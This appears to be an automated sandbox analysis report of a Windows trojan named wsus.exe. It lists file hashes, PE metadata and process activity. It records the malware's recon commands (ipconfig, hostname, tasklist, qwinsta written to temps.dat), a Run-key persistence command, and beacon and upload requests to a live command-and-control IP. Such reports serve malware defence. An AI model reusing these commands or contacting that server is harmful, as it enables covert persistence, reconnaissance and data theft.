| File name: | wsus.exe |
| Full analysis: | https://app.any.run/tasks/7f69de89-b133-448a-a264-1e292e3b2e08 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | March 24, 2019, 06:00:36 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 914F6BA6A3A043ECC961296FA94A6BAD |
| SHA1: | 2BEACF1CA098550B829B4B0D9B4F723AD8D1978E |
| SHA256: | 18462AE676C539B2A3626A7B465123B20C88BD68342777A090F40B7DCB7ACE0D |
| SSDEEP: | 1536:AU2mxW7DvpqvkqWmbldBccebhMeuSxizlhFBu0Q5esWo9cdSU1R9u4JS+/7ZO:/24WPv+blPq1XuSaldu0c0SIu4JS+U |
MALICIOUS
Changes the autorun value in the registry
- reg.exe (PID: 2504)
Connects to CnC server
- wsus.exe (PID: 3980)
SUSPICIOUS
Starts CMD.EXE for commands execution
- wsus.exe (PID: 3980)
Uses TASKLIST.EXE to query information about running processes
- cmd.exe (PID: 2212)
Creates files in the user directory
- cmd.exe (PID: 2212)
Uses IPCONFIG.EXE to discover IP address
- cmd.exe (PID: 644)
Creates files in the program directory
- wsus.exe (PID: 3980)
Connects to server without host name
- wsus.exe (PID: 3980)
Uses REG.EXE to modify Windows registry
- cmd.exe (PID: 3880)
Executable content was dropped or overwritten
- wsus.exe (PID: 3980)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (64.6) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.4) |
| .exe | | | Win32 Executable (generic) (10.5) |
| .exe | | | Generic Win/DOS Executable (4.6) |
| .exe | | | DOS Executable Generic (4.6) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2019:02:20 20:32:16+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 14 |
| CodeSize: | 60416 |
| InitializedDataSize: | 56320 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x5853 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 6.1.7601.17777 |
| ProductVersionNumber: | 6.1.7601.17777 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Windows NT 32-bit |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Unknown (140C) |
| CharacterSet: | Unicode |
| CompanyName: | AdobeReaderFlash Corporations |
| FileDescription: | Prints driver host updates |
| FileVersion: | 6.1.7601.17777 |
| InternalName: | wsus.exe |
| LegalCopyright: | AdobeReaderFlash Corporation |
| OriginalFileName: | wsus.exe |
| ProductVersion: | 6.1.7601.17777 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 20-Feb-2019 19:32:16 |
| Detected languages: |
|
| CompanyName: | AdobeReaderFlash Corporations |
| FileDescription: | Prints driver host updates |
| FileVersion: | 6.1.7601.17777 |
| InternalName: | wsus.exe |
| LegalCopyright: | AdobeReaderFlash Corporation |
| OriginalFilename: | wsus.exe |
| ProductVersion: | 6.1.7601.17777 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000108 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 6 |
| Time date stamp: | 20-Feb-2019 19:32:16 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0000EB27 | 0x0000EC00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.61197 |
.rdata | 0x00010000 | 0x00006A9C | 0x00006C00 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.04545 |
.data | 0x00017000 | 0x00001914 | 0x00001000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 2.13408 |
.gfids | 0x00019000 | 0x000000AC | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 1.41878 |
.rsrc | 0x0001A000 | 0x00003EF8 | 0x00004000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 7.44617 |
.reloc | 0x0001E000 | 0x0000130C | 0x00001400 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 6.54349 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 4.91161 | 381 | UNKNOWN | English - United States | RT_MANIFEST |
101 | 3.15226 | 148 | UNKNOWN | English - United States | RT_MENU |
102 | 2 | 8 | UNKNOWN | English - United States | RT_ACCELERATOR |
11936 | 2.65857 | 166 | UNKNOWN | English - United States | RT_DIALOG |
19255 | 7.69416 | 14171 | UNKNOWN | English - United States | JFDSIKUI |
Imports
ADVAPI32.dll |
GDI32.dll |
KERNEL32.dll |
RPCRT4.dll |
SHELL32.dll |
SHLWAPI.dll |
USER32.dll |
WININET.dll |
WINMM.dll |
WINSPOOL.DRV |
Total processes
47
Monitored processes
11
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 644 | "C:\Windows\System32\cmd.exe" /C ipconfig >> C:\Users\admin\AppData\Roaming\temps.dat | C:\Windows\System32\cmd.exe | — | wsus.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 900 | ipconfig | C:\Windows\system32\ipconfig.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IP Configuration Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 968 | hostname | C:\Windows\system32\HOSTNAME.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Hostname APP Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2088 | "C:\Windows\System32\cmd.exe" /C hostname >> C:\Users\admin\AppData\Roaming\temps.dat | C:\Windows\System32\cmd.exe | — | wsus.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2212 | "C:\Windows\System32\cmd.exe" /C tasklist >> C:\Users\admin\AppData\Roaming\temps.dat | C:\Windows\System32\cmd.exe | — | wsus.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2504 | REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Win7Z" /t REG_SZ /d "¨ ju" /f | C:\Windows\system32\reg.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Console Tool Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2532 | "C:\Windows\System32\cmd.exe" /C qwinsta >> C:\Users\admin\AppData\Roaming\temps.dat | C:\Windows\System32\cmd.exe | — | wsus.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3152 | tasklist | C:\Windows\system32\tasklist.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Lists the current running tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3716 | qwinsta | C:\Windows\system32\qwinsta.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Query Session Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3880 | "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Win7Z" /t REG_SZ /d "¨ ju" /f | C:\Windows\System32\cmd.exe | — | wsus.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
137
Read events
118
Write events
19
Delete events
0
Modification events
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2504) reg.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Win7Z |
Value: ¨ ju | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3980) wsus.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\wsus_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
Executable files
1
Suspicious files
0
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2532 | cmd.exe | C:\Users\admin\AppData\Roaming\temps.dat | text | |
MD5:— | SHA256:— | |||
| 2212 | cmd.exe | C:\Users\admin\AppData\Roaming\temps.dat | text | |
MD5:— | SHA256:— | |||
| 644 | cmd.exe | C:\Users\admin\AppData\Roaming\temps.dat | text | |
MD5:— | SHA256:— | |||
| 2088 | cmd.exe | C:\Users\admin\AppData\Roaming\temps.dat | text | |
MD5:— | SHA256:— | |||
| 3980 | wsus.exe | C:\PROGRAMDATA\WIN7Z\wsus.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
0
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3980 | wsus.exe | GET | — | 5.39.218.210:80 | http://5.39.218.210/dns/dns.php?dns=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk= | NL | — | — | malicious |
3980 | wsus.exe | GET | — | 5.39.218.210:80 | http://5.39.218.210/dns/dns.php?dns=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk= | NL | — | — | malicious |
3980 | wsus.exe | POST | — | 5.39.218.210:80 | http://5.39.218.210/dns/logs/logpc.php | NL | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3980 | wsus.exe | 5.39.218.210:80 | — | Hostkey B.v. | NL | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
3980 | wsus.exe | A Network Trojan was detected | ET INFO Suspicious Possible Process Dump in POST body |
3980 | wsus.exe | A Network Trojan was detected | ET TROJAN Windows qwinsta Microsoft Windows DOS prompt command exit OUTBOUND |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
wsus.exe | /dns/dns.php?dns=JWVhLiUzZiU1OSU3OSU5MiVlYyVhMCU3MiU0OSU5OSVkZSUyNyVmMiViZSU5ZSVjZSU5ZSU4MSU2YyU2MCUyNyUxOSUzNiU2YyU4NCVjMiU1NiVlNSVkZiU5ZSVkYiU0NyU0ZiVmZCUzNSVmYS0lOTAlZjElOGYlNzglOWIlZGYlNDAlNjYlZjIlYzUlNjIlNDAlNmElOWMlMjIlOGIlMjclZmUlMTElZmElY2IlNDAlODUlZjklYTglODMlZWUlMjk= |